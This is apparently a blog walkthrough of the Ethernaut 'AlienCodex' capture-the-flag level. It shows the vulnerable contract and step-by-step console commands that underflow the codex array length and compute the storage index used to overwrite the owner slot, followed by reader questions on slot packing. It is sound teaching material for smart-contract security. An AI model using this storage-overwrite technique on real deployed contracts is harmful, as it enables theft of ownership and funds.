This is the level 19 of OpenZeppelin Ethernaut web3/solidity based game.
Pre-requisites
- Contract storage mechanism for dynamically sized arrays
- Integer overflow/underflow in Solidity
- Storage slot assignment in contract on inheritance
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
player
has to claim ownership of AlienCodex
.
The target AlienCodex
implements ownership pattern so it must have a owner
state variable of address
type, which can also be confirmed upon inspecting ABI (contract.abi
). Moreover, the 20 byte owner
is stored at slot 0 (as well as 1 byte bool contact
).
Before we start, note that every contract on Ethereum has storage like an array of 2256 (indexing from 0 to 2256 - 1) slots of 32 byte each.
The vulnerability of AlienCodex
originates from the retract
method which sets a new array length without checking a potential underflow. Initially, codex.length
is zero. Upon invoking retract
method once, 1 is subtracted from zero, causing an underflow. Consequently, codex.length
becomes 2256 which is exactly equal to total storage capacity of the contract! That means any storage slot of the contract can now be written by changing the value at proper index of codex
! This is possible because EVM doesn't validate an array's ABI-encoded length against its actual payload.
First call make_contact
so that we can pass check - contacted
, on other methods:
await contract.make_contact()
Modify codex
length to 2256 by invoking retract
:
await contract.retract()
Now, we have to calculate the index, i
of codex
which corresponds to slot 0 (where owner
is stored).
Since, codex
is dynamically sized only it's length is stored at next slot - slot 1. And it's location/position in storage, according to allocation rules, is determined by as keccak256(slot)
:
p = keccak256(slot)
or, p = keccak256(1)
Hence, storage layout would look something like:
Slot Data
------------------------------
0 owner address, contact bool
1 codex.length
.
.
.
p codex[0]
p + 1 codex[1]
.
.
2^256 - 2 codex[2^256 - 2 - p]
2^256 - 1 codex[2^256 - 1 - p]
0 codex[2^256 - p] (overflow!)
Form above table it can be seen that slot 0 in storage corresponds to index, i
= 2^256 - p
or 2^256 - keccak256(1)
of codex
!
So, writing to that index, i
will change owner
as well as contact
.
You can go on write some Solidity to calculate i
using keccak256
, but it can also be done in console which I'm going to use.
Calculate position, p
in storage of start of codex
array
// Position
p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]))
// Output: 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
Calculate the required index, i
. Use BigInt
for mathematical calculations between very large numbers.
i = BigInt(2 ** 256) - BigInt(p)
// Output: 35707666377435648211887908874984608119992236509074197713628505308453184860938n
Now since value to be put must be 32 byte, pad the player
address on left with 0
s to make a total of 32 byte. Don't forget to slice off 0x
prefix from player address!
content = '0x' + '0'.repeat(24) + player.slice(2)
// Output: '0x000000000000000000000000<20-byte-player-address>'
Finally call revise to alter the storage slot:
await contract.revise(i, content)
And we hijacked AlienCodex
! Verify by:
await contract.owner() === player
// Output: true
Done!
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (2)
I followed your instructions and it worked. But I didn't get it.
I have a two parts question:
Question #1
When I first executed this:
Which is this
"0x00000000000000000000000"
concatenated with the owner's address"1da5b3fb76c78b6edee6be8f11a1c31ecfb02b27"
and"2"
which is boolean true. Shouldn't it be "1"? And actually "01" cause it's 1 byte and thus should be "0x01"?Question #2
I didn't get his part:
Shouldn't it be:
?
Where did the stroge for the boolean go?
Hey Jonas! Nice question. It had got me confused a little bit too at the time.
Answer 1:
So, in the 32 byte output
The boolean is actually on left side i.e.
01
(1 byte) and rest is address i.e.da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
(32 byte).When packing of multiple variables happens at same slot they appear in reverse order in the slot. For ex. I have this contract on Rinkeby:
at address
0xf6fBAB2C8FFB9e0EeD51926e8159B52DD225623f
.If I read slot at 0 I get:
See the order of
a
,b
,c
in the same slot? In reverse order.Answer 2:
Well, there I just want to overwrite the stored address part in that slot - which is last 20 bytes of that slot. And I'm not concerned about the boolean (which will be
00
/false
) there because I'll become the owner anyway - which is the goal :)